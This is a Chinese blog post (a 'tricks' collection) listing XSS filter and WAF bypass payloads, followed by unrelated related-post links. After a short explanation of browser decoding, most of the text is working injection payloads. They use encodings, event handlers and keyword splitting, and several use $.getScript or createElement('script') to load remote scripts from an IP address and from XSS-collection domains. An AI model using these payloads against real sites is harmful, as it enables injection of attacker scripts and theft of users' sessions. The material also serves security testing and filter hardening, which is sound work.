【奇淫巧技】XSS绕过技巧
XSS记录
1、首先是弹窗函数:
alert(1)
prompt(1)
confirm(1)
eval()
2、然后是字符的编码和浏览器的解析机制:
要讲编码绕过,首先我们要理解浏览器的解析过程,浏览器在解析HTML文档时无论按照什么顺序,主要有三个过程:HTML解析、JS解析和URL解析,每个解析器负责HTML文档中各自对应部分的解析工作。
首先浏览器接收到一个HTML文档时,会触发HTML解析器对HTML文档进行词法解析,这一过程完成HTML解码并创建DOM树,接下来JavaScript解析器会介入对内联脚本进行解析,这一过程完成JS的解码工作,如果浏览器遇到需要URL的上下文环境,这时URL解析器也会介入完成URL的解码工作,URL解析器的解码顺序会根据URL所在位置不同,可能在JavaScript解析器之前或之后解析。
三个解析过程所对应的字符编码分别为:HTML解析 => HTML实体编码 、JS解析 => Unicode编码 、URL解析 =>URL编码。
需要注意的是:
1、Unicode编码无法转换控制字符如【'】【"】【()】,仅仅会将这些当成普通字符,而不是控制字符,也就是说你无法在<script>标签中利用Unicode编码单双引号来闭合引号。
2、JavaScript伪协议除了HTML编码之外不能进行其他编码,这个单词必须是完整的,因为浏览器最先解析HTML,之后javascript必须是完整的。这个在ie6下才执行的。
3、下面我们用实际例子来解释一下以上所说的浏览器解析过程和字符编码是怎么回事,以及今天的重点---XSS绕过。
....暂定
hidden属性标签
插入点在hidden前,新增一个type属性覆盖hidden:
<input value='a' src=1 onerror=alert(1) type="image" type="hidden">
插入点在hidden后,shift+alt+accesskey:
<input value='a' type="hidden" accesskey="x" onclick=alert(1)>
弹窗验证:
1、弹窗payload
<a href=javascript:alert`1`>click
<button ‘ onclick=alert(1)//>
<button onfocus=alert`122`>
<object data=javascript:alert`1`>
<body/onfocus=alert`9989`>
<input antofocus onfocus=alert`1`>
<svg><script xlink:href=data:,alert(1) />
<iframe srcdoc=<svg/onload=alert(1)>>
<svg/onload=alert(1)>
<x contenteditable onblur=alert(1)>lose focus!
<i contenteditable onblur=alert(1)>lose focus!//contenteditable:使可编辑
<x oncontextmenu=alert(1)>right click this!
<c oncontextmenu=alert(1)>鼠标右键点击
<iframe src="	javascript:prompt(1)	">
<ScRipT 1>prompt(1)</ScRipT 123
<input/onfocus=ev\u0061l(\u0061lert(1))>
<input antofocus onfocus=\u0061lert(1)>
<iframe/src="data:text/html;	base64	,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<details ontoggle=alert(1)>
<details open ontoggle =alert(1)> #payload的=号前加空格即可绕过waf
<Video><source onerror="javascript:alert(123)">
<iframe/src='data:text/html,<svg onload=alert(1)>'>
[media=mp3,200,300]http://www.tudou.com/programs/view/a' onload=alert(1) onerror=alert(1)[/media]
<img/src=1 onmouseout=alert`1`>
<a href="#" onclick=alert(‘\170\163\163’)>test3</a> //可以成功执行
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
<img src="x" onerror="alert(1)">
<form><button formaction=javascript:alert(1)>CLICKME
<img src="1" onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>//必须要有双引号,不然执行不了
<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2//不能去掉双引号
<a href=javascript:eval("alert('xss')")>2 //可以去掉双引号
<a href="javascript:alert("xss")">2</a>
<a href=javascript:alert(/xss/)>XSStest</a>
<img src=9989 onerror="window['al\u0065rt'](111)">
<IMG SRC=x onerror="javascript:alert('XSS')">
<img src=9989 onerror=a=\u0061lert,a(1)><input/oninput=top['al\x65rt'](1)>
<img src=9989 onerror=[1].find(alert)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
//以下都是要把[]进行url编码
<img src=9989 onerror=top%5B%2fal%2f.source%2b%2fert%2f.source%5D%281%29> //<img src=9989 onerror=top[/al/.source+/ert/.source](1)>
<img src=9989 onerror=top%5B%22al%22%2b%22ert%22%5D%281%29> //<img src=9989 onerror=top["al"+"ert"](1)>
<img src=9989 onerror=top%5B%27al%5C145rt%27%5D%281%29> //<img src=9989 onerror=top['al\145rt'](1)>
<img src=9989 onerror=top%5B'al\x65rt'%5D(1)> //<img src=9989 onerror=top['al\x65rt'](1)>
<img/src=1 onerror=top[8680439..toString`30`]`1`>
<img/src=1 onerror=top[8680439..toString`30`]`1`>
<img/src=1 onError="alert(1)"> //使用时有时需要吧&#X进行URL编码
<img/src=1 onError=top[/al/.source+/ert/.source](1)>
<img/src='a'onerror=[1].find(alert)>
<img/src='2'onerror=top[8680439..toString(30)](1)>
<a/href=javascript:alert`1`>123</ a>
<img/src='2'onerror=top[/al/.source+/ert/.source](1)><p/oncopy=alert(1)>
<body onhashchange=alert(1)><a href=#x>click this!#x
<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
<body onresize=alert(1)>press F12!
<body onpageshow=alert(1)>
<body onfocus=alert(1)>
<marquee onstart=alert(1)>
<marquee loop=1 width=0 onfinish=alert(1)>
<audio src onloadstart=alert(1)>
<video onloadstart=alert(1)><source>
<input autofocus onblur=alert(2)>
<keygen autofocus onfocus=alert(3)>
<form onsubmit=alert(4)><input type=submit>
<select onchange=alert(5)><option>1<option>2
<menu id=x contextmenu=x onshow=alert(6)>right click me!
<meta content="0;https://www.baidu.com"HTTP-EQUIV="refresh""/>
<meta content="0;data:text/html;base64,PHNjcmlwdD5wcm9tcHQoIlhTUyIpPC9zY3JpcHQ+"HTTP-EQUIV="refresh""/>
<svg><animate xlink:href=#xss attributeName=href values="   javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
<svg><animate xlink:href=#xss attributeName=href fill=freeze dur=1ms values="http://isec.pl;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
<svg><animate xlink:href=#xss attributeName=href fill=freeze dur=1ms values="http://isec.pl;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
<svg><animate xlink:href=#xss attributeName=href values="javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
<div onscroll=alert`1`>
<a href=javascript:confirm(1)>MM</a>
<video width="1" height="1" oncanplay="alert(1)"><source src="http://dwz1.cc/Pwnx5b4F"></video>
2、引入外部js,需要有jQuery库
<html>
<head>
<script src="https://cdn.bootcss.com/jquery/3.4.1/jquery.js"></script>
</head>
<body> <img/src=1 onerror=$.getScript("http://118.24.154.114/1.js");> 绕waf:
<img/src=1 onerror=jQuery[atob('Z2V0U2NyaXB0')]("http://118.24.154.114/1.js")>
16进制
<img/src=1 onerror=eval("\x24\x2E\x67\x65\x74\x53\x63\x72\x69\x70\x74\x28\x22\x68\x74\x74\x70\x3A\x2F\x2F\x31\x31\x38\x2E\x32\x34\x2E\x31\x35\x34\x2E\x31\x31\x34\x2F\x31\x2E\x6A\x73\x22\x29\x3B")>
ascii码
<img/src=1 onerror="eval(String.fromCharCode(36, 46, 103, 101, 116, 83, 99, 114, 105, 112, 116, 40, 34, 104, 116, 116, 112, 58, 47, 47, 49, 49, 56, 46, 50, 52, 46, 49, 53, 52, 46, 49, 49, 52, 47, 49, 46, 106, 115, 34, 41, 59))"> </body>
</html>
3、Unicode编码绕过例子
<html>
<head>
</head>
<body> <div id="s"></div> <script>
var s="\u003cimg/src=1\u003e"; document.getElementById('s').innerHTML = s;
</script> </body>
</html>
以上代码由于使用了innerHTML 方法,可以使用Unicode表面皿绕过检测。
4、利用巧用换行绕过url规则检测:
<?php
$url = filter_var($_GET['url'],FILTER_VALIDATE_URL);
var_dump($url);
$url = htmlspecialchars($url);
var_dump($url);
echo "<a href='$url'>Next slide</a>"
?>

利用代码:
<img/src=1 onmouseover=s=createElement('\163\143\162\151\160\164');body.appendChild(s);s.src="//xss.tv">
<img src=1 onerror="with(document)body.appendChild(createElement(String.fromCharCode(115,99,114,105,112,116))).src='\150\164\164\160\72\'"> JS 8进制
下面是一位大佬的文章,这里直接引用了,有空再整理。
https://bbs.ichunqiu.com/thread-31886-1-1.html
这里的连接字符,我研究出来一些payload,能够script,document等危险字符过滤的情况下,不需要在任何编码的情况下,去构造一个payload 当document被过滤的情况下,又不能用编码
+被过滤,又不能编码
<svg/onload="[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})"> <svg/onload="[1].find(function(){with(`docom%27|e|%27nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})"> <svg/onload="[1].find(function(){with(`docom%27%2Be%2B%27nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})"> <svg/onload="[1].find(function(){with(`docom'+e+'nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})"> <svg/onload="[1].find(function(){with(`docom'-e-'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"> <svg/onload="[1].find(function(){with(`docom'*e*'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})">
<svg/onload="[1].find(function(){with(`docom'/e/'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"> <svg/onload="[1].find(function(){with(`docom'%e%'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"> <svg/onload="[1].find(function(){with(`docom'^e^'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"> <svg/onload="[1].find(function(){with(`docom'>e>'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"> <svg/onload="[1].find(function(){with(`docom'<e<'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"> <script type="text/javascript">
var a = ''>=alert``<='';
var a = ''+alert``+'';
</script> <keygen autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xsspt.com/JUvhKT">支持火狐 360, 谷歌失败,过主机卫士 就是下面这些连接符号 输出在script内字符串位置的情况
如果允许闭合字符串,直接闭合并写入javascript即可,如:
http://mhz.pw/game/xss/scriptstr.php?xss=%27|alert(1)|%27
http://t.mhz.pw/game/xss/scriptstr.php?xss='|alert(1)|'
http://t.mhz.pw/game/xss/scriptstr.php?xss=%27%2Balert(1)%2B%27
http://t.mhz.pw/game/xss/scriptstr.php?xss='+alert(1)+'
http://t.mhz.pw/game/xss/scriptstr.php?xss='-alert(1)-'
http://t.mhz.pw/game/xss/scriptstr.php?xss='*alert(1)*'
http://t.mhz.pw/game/xss/scriptstr.php?xss='/alert(1)/'
http://t.mhz.pw/game/xss/scriptstr.php?xss='%alert(1)%'
http://t.mhz.pw/game/xss/scriptstr.php?xss='^alert(1)^'
http://t.mhz.pw/game/xss/scriptstr.php?xss='>alert(1)>'
http://t.mhz.pw/game/xss/scriptstr.php?xss='<alert(1)<'
http://t.mhz.pw/game/xss/scriptstr.php?xss='>=alert(1)>='
http://t.mhz.pw/game/xss/scriptstr.php?xss='<=alert(1)<='
http://t.mhz.pw/game/xss/scriptstr.php?xss='==alert(1)=='
http://t.mhz.pw/game/xss/scriptstr.php?xss='===alert(1)==='
http://t.mhz.pw/game/xss/scriptstr.php?xss='!=alert(1)!='
http://t.mhz.pw/game/xss/scriptstr.php?xss='!==alert(1)!=='
http://t.mhz.pw/game/xss/scriptstr.php?xss='%26alert(1)%26'
http://t.mhz.pw/game/xss/scriptstr.php?xss='&alert(1)&'
http://t.mhz.pw/game/xss/scriptstr.php?xss='|alert(1)|'
http://t.mhz.pw/game/xss/scriptstr.php?xss='||alert(1)||'
http://t.mhz.pw/game/xss/scriptstr.php?xss='>=alert(1)<=' <svg/onload="[1].find(function(){with(`docom'|e|'nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})"> <svg/onload=[1].find(function(){with(/do/.source+/cument/.source)body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(/docomen/.source+/t/.source);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(`/docomen/.source+/t/.source`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(`/docomen/.1+/t/.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /字符/.1+/字符/.1
字符加上字符
//.1 + //.1 这些只是连接字符的方式而已 ,总结起来就是 document而已 <svg/onload=[1].find(function(){with(`\docomen\.1+\t\.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
/ 换成 \ 也可以 <svg/onload=[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
不要加号也可以 <svg/onload=[1].find(function(){with(`=docomen=.1+=t=.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
/换成=号也可以 <svg/onload=[1].find(function(){with(`=docomen=.1=t=.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
不要加号也可以 <svg/onload=[1].find(function(){with(`^docomen^.1+^t^.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
/换成^号也可以 <svg/onload=[1].find(function(){with(`^docomen^.1^t^.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(`|docomen|.1+|t|.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
/换成|号也可以 <svg/onload=[1].find(function(){with(`|docomen|.1|t|.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(`&docomen&.1+&t&.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
/换成&号也可以
<svg/onload=[1].find(function(){with(`&docomen&.1&t&.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(`%26docomen%26.1+$26t%26.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
/换成%26也行 <svg/onload=[1].find(function(){with(`%26docomen%26.1$26t%26.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
不要引号也行 Body加上括号也行
<svg/onload=[1].find(function(){with(`docomen`);(body.appendChild(createElement('script'))).src='http://xss.tv/XA'})> <body/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,115,115,46,102,98,105,115,98,46,99,111,109,47,48,71,73,103,62,60,47,115,99,114,105,112,116,62))> <svg/onload=[1].find(function(){with('docu'==='ment');body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
笨鸟先飞早入林,笨人勤学早成材。 转载请注明出处:
撰写人:fox-yu http://www.cnblogs.com/fox-yu/
【奇淫巧技】XSS绕过技巧的更多相关文章
- [asp.net mvc 奇淫巧技] 04 - 你真的会用Action的模型绑定吗?
在QQ群或者一些程序的交流平台,经常会有人问:我怎么传一个数组在Action中接收.我传的数组为什么Action的model中接收不到.或者我在ajax的data中设置了一些数组,为什么后台还是接收不 ...
- [asp.net mvc 奇淫巧技] 01 - 封装上下文 - 在View中获取自定义的上下文
我们在asp.net 开发中已经封装了最强大的HttpContext,我们可以在HttpContext中可以获取到几乎任何想获取的东西,也可以在HttpContext写入需要返回客户端的信息.但是这些 ...
- [asp.net mvc 奇淫巧技] 02 - 巧用Razor引擎在Action内生成Html代码
在web开发中经常会遇到在内部代码中获取Html,这些Html是需要和数据进行一起渲染.并不是直接把Html代码返回给客户端.这样的做法有很多应用场景,例如分页.Ajax一次性获取几段Html片段.生 ...
- [asp.net mvc 奇淫巧技] 03 - 枚举特性扩展解决枚举命名问题和支持HtmlHelper
一.需求 我们在开发中经常会遇到一些枚举,而且这些枚举类型可能会在表单中的下拉中,或者单选按钮中会用到等. 这样用是没问题的,但是用过的人都知道一个问题,就是枚举的命名问题,当然有很多人枚举直接中文命 ...
- [javascript 实践篇]——那些你不知道的“奇淫巧技”
1. 空(null, undefined)验证 刚开始,我是比较蠢的验证(我还真是这样子验证的) if (variable1 !== null || variable1 !== undefined | ...
- [asp.net mvc 奇淫巧技] 05 - 扩展ScriptBundle,支持混淆加密javascript
一.需求: 在web开发中,经常会处理javascript的一些问题,其中就包括js的压缩,合并,发布版本以及混淆加密等等问题.在asp.net 开发中我们使用ScriptBundle已经可以解决ja ...
- [asp.net mvc 奇淫巧技] 06 - 也许你的项目同一个用户的请求都是同步的
一.感慨 很久前看到一篇博客中有句话大致的意思是:“asp.net 程序性能低下的主要原因是开发人员技术参差不齐”,当时看到这句话不以为然,然而时间过的越久接触的.net 开发人员越多就越认同这句话: ...
- 【奇淫巧技】sqlmap绕过过滤的tamper脚本分类汇总
sqlmap绕过过滤的tamper脚本分类汇总
- JS 奇淫巧技 转
1. 在 String.prototype.replace 方法中使用 /g 和 /i 标志位 令很多 JavaScript 初学者意外的是,字符串的 replace 方法并不会 替换所有匹配的子串— ...
随机推荐
- 广度优先搜索(BFS)解题总结
定义 广度优先搜索算法(Breadth-First-Search),是一种图形搜索算法. 简单的说,BFS是从根节点开始,沿着树(图)的宽度遍历树(图)的节点. 如果所有节点均被访问,则算法中止. B ...
- laravel核心Ioc容器
laravel容器和依赖注入 啥是Ioc容器,方便我们实现依赖注入的一种实现,也就是说依赖注入不一定需要控制反转容器,只不过使用容器可能会方便些. laravel通过向容器中绑定接口的具体实现,可实现 ...
- Android开发,java开发程序员常见面试题,求100-200之间的质数,java逻辑代码
public class aa{ public static void main (String args []){ //author:qq986945193 for (int i = 100;i&l ...
- Istio可观测性
Istio可观测性 Istio的可观测性包括metrics,日志,分布式链路跟踪以及可视化展示.下面主要介绍如何在istio中部署基于Prometheus的metrics监控,基于jaeger的链路跟 ...
- 常用注解@Intdef与@Stringdef
1.优点 可以代替枚举,静态常量,可以让注解只在代码中存在,编译后就删除,可以省内存. 2.@IntDef 2.1 官网 https://developer.android.com/reference ...
- 小程序开发-使用xpath解析网页html中的数据
最新有个微信小程序的开发需求,需要从网页中提取一些元素信息,获取有效数据 1. 了解到微信小程序里面不能直接操作dom元素,所以我们需要使用一些其他的npm包 2. 经过查到各方面的文档,最新决定用x ...
- 蒲公英 · JELLY技术周刊 Vol.21 -- 技术周刊 · React Hooks vs Vue 3 + Composition API
蒲公英 · JELLY技术周刊 Vol.21 选 React 还是 Vue,每个人心中都会有自己的答案,有很多理由去 pick 心水的框架,但是当我们扪心自问,我们真的可以公正的来评价这两者之间的差异 ...
- UBer面向领域的微服务体系架构实践
介绍 最近,人们对面向服务的系统架构和微服务系统架构的缺点进行了大量的讨论.尽管仅仅在几年前,由于微服务体系架构提供了许多好处,如独立部署的灵活性.明确的所有权.提高系统稳定性以及更好地分离关注点等, ...
- Swift入门
Swift 入门 简介 Swift 语言由苹果公司在 2014 年推出,用来撰写 OS X 和 iOS 应用程序 2014 年,在 Apple WWDC 发布 历史 2010 年 7 月,苹果开发者工 ...
- 分布式文件系统之MogileFS的安装使用
一.简介 MogileFS是一个开源的分布式文件存储系统,由LiveJournal旗下的Danga Interactive公司开发:它主要由三部分组成,第一部分是server端,server端主要包括 ...